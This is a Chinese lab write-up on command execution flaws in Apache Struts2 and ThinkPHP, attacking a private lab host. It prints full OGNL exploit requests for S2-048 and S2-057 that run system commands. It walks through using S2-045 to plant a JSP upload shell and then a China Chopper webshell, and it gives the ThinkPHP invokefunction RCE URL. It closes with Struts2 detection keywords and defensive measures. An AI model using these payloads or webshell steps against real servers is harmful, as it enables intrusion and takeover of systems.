当前位置:   article > 正文

命令执行漏洞(二)

命令执行漏洞(二)
Struts2框架命令执行漏洞

环境准备:虚拟机win2003     jspstudy2016     Struts Showcase靶场环境

查看历史相关漏洞在线平台

乌云(WooYun.org)历史漏洞查询:

https://wy.zone.ci/searchbug.php?q=Struts2

知道创宇 Seebug 漏洞平台:

https://www.seebug.org/search/?keywords=struts2

 

漏洞扫描

 利用struts2漏洞检测工具对 Struts Showcase 靶场进行扫描:

http://10.0.0.101:90/struts2-showcase/showcase.action

(在线工具包)

 Struts Showcase 靶场发现以下漏洞:

 POST方法,S2-046-bypass漏洞存在!!!,程序更改为S2-046-bypass漏洞测试模式, 响应码: 200 
POST方法,S2-046-1漏洞存在!!!,程序更改为S2-046-1漏洞测试模式, 响应码: 200 
POST方法,S2-046-2漏洞存在!!!,程序更改为S2-046-2漏洞测试模式, 响应码: 200 
POST方法,S2-046-3漏洞存在!!!,程序更改为S2-046-3漏洞测试模式, 响应码: 200 
POST方法,S2-045-bypass漏洞存在!!!,程序更改为S2-045-bypass漏洞测试模式, 响应码: 200 
POST方法,S2-045-bypass-2漏洞存在!!!,程序更改为S2-045-bypass-2漏洞测试模式, 响应码: 200 
POST方法,S2-045-1漏洞存在!!!,程序更改为S2-045-1漏洞测试模式, 响应码: 200 
POST方法,S2-045-2漏洞存在!!!,程序更改为S2-045-2漏洞测试模式, 响应码: 200
POST方法,S2-045-3漏洞存在!!!,程序更改为S2-045-3漏洞测试模式, 响应码: 200 
POST方法,S2-045-4漏洞存在!!!,程序更改为S2-045-4漏洞测试模式, 响应码: 200

 

 

S2-045漏洞利用过程
扫描漏洞:利用工具【在线工具包-漏洞利用-struts2漏洞检查】
可以执行系统命令:(创建账户等)


漏洞利用:上传带上传功能的小马到目标主机,网页访问执行小马文件,菜刀马代码上传到小马上提交,用中国菜刀远程连接。

 利用S2-045漏洞上传带上传功能的小马到目标主机:(直接上传菜刀马尝试失败)

  1. 目标地址:c:\\jspstudy\\www\\lan.jsp
  2. \\双斜杠防止被转义

小马上传成功:

 阅览器访问小马,成功访问:

http://10.0.0.101:8080/lan.jsp

加载打开带有上传功能小马文件,把菜刀马代码写到小马里进行上传。

  1. http://10.0.0.101:8080/lan.jsp --根目录下lan.jsp文件(c:\jspstudy\www\lan.jsp)
  2. 小马里填写:
  3. --Target File Path:
  4. C:\JspStudy\WWW\muma.jsp
  5. --Target File Content:
  6. 菜刀马代码内容
  7. submit提交
 

 菜刀马上传成功:

 

打开中国菜刀软件远程连接目标主机:

http://10.0.0.101:8080/muma.jsp

连接成功

S2-048漏洞利用过程
漏洞位置:http://10.0.0.101:8080/struts2-showcase/integration/saveGangster.action 
利用【音速软件-抓包改包-WSExplorer(岁月联盟)】进程抓包。
打开音速软件-漏洞利用-Struts2漏洞检查工具2018版.exe-执行whoami命令-用WSExplorer(岁月联盟)】抓取进程。

 

 

POST /struts2-showcase/showcase.action HTTP/1.1
Host:10.0.0.101:8080
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close 
Content-Length: 1119
Content-Type: application/x-www-form-urlencoded

name=%25%7b(%23test%3d%27multipart%2fform-data%27).(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest()).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.setContentType(%27text%2fhtml%3bcharset%3dUTF-8%27)).(%23res.getWriter().print(%27start%3a%27)).(%23s%3dnew+java.util.Scanner((new+java.lang.ProcessBuilder(%27whoami%27.toString().split(%27%5c%5cs%27))).start().getInputStream()).useDelimiter(%27%5c%5cAAAA%27)).(%23str%3d%23s.hasNext()%3f%23s.next()%3a%27%27).(%23res.getWriter().print(%23str)).(%23res.getWriter().print(%27%3aend%27)).(%23res.getWriter().flush()).(%23res.getWriter().close()).(%23s.close())%7d&age=a&__checkbox_bustedBefore=true&description=s


S2-057漏洞复现

首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符* 最后把type="chain"改成type="redirectAction"

打开音速软件-漏洞利用-Struts2漏洞检查工具2018版.exe-执行whoami命令-用WSExplorer(岁月联盟)】抓取进程

POST /struts2-showcase//%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23str%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27cmd%27%2c%23str))%7d/actionChain1.action HTTP/1.1
Host:10.0.0.101:8080
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencoded


--struts2攻击特征(关键字):
--java唯一代码函数:getRuntime().exec
--apache.struts2
--看扩展名xxx.action  / .do

Thinkphp命令执行

环境准备: 虚拟机win2003     phpstudy   thinkphp_5.0.22靶场

http://10.0.0.101:90/thinkphp/public/index.php

Thinkphp框架

漏洞复现

  1. 在url输出关于PHP 配置的信息:
  2. http://10.0.0.101:90/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

参考网站:https://blog.csdn.net/weixin_44862511/article/details/132132998

可利用在线工具包-综合利用工具


命令执行漏洞的安全防范涉及多个层面,包括设计、编码、测试和运维。以下是关键的防范措施:

  1. 输入验证 (Input Validation):

    • 对所有用户输入进行严格的验证,确保输入的数据类型、长度和内容符合预期。
    • 使用预定义的白名单列表限制可接受的字符或值。
    • 避免使用可能导致命令注入的动态命令构造,如拼接字符串生成命令。
  2. 参数化查询或预编译语句:

    • 在处理数据库查询时,使用参数化查询或预编译语句,防止SQL注入式地转化为命令执行。
  3. 最小权限原则:

    • 应用程序和服务应以尽可能低的权限运行,避免使用管理员权限,减少潜在损害。
  4. 使用安全的库和框架:

    • 选择经过充分测试、有良好安全记录的库和框架,它们可能已经内置了防止命令执行的防护措施。
  5. 代码审查:

    • 定期进行代码审查,查找可能的命令注入点和不安全的代码实践。
  6. 沙箱环境:

    • 对于必须执行外部命令的情况,使用沙箱环境限制其执行权限和资源访问。
  7. 日志监控和入侵检测系统:

    • 实施日志记录和分析,以便在异常活动发生时能及时发现。
    • 使用入侵检测系统(IDS)或入侵防御系统(IPS)来检测和阻止潜在的攻击。
  8. 安全配置:

    • 确保操作系统和其他服务配置正确,关闭不必要的端口和服务,减少攻击面。
  9. 持续更新和打补丁:

    • 及时安装软件更新和安全补丁,以修复已知的漏洞。
  10. 安全编码最佳实践:

    • 遵循OWASP(开放网络应用安全项目)等组织提供的安全编码指南。

声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/592750
推荐阅读
相关标签
  

闽ICP备14008679号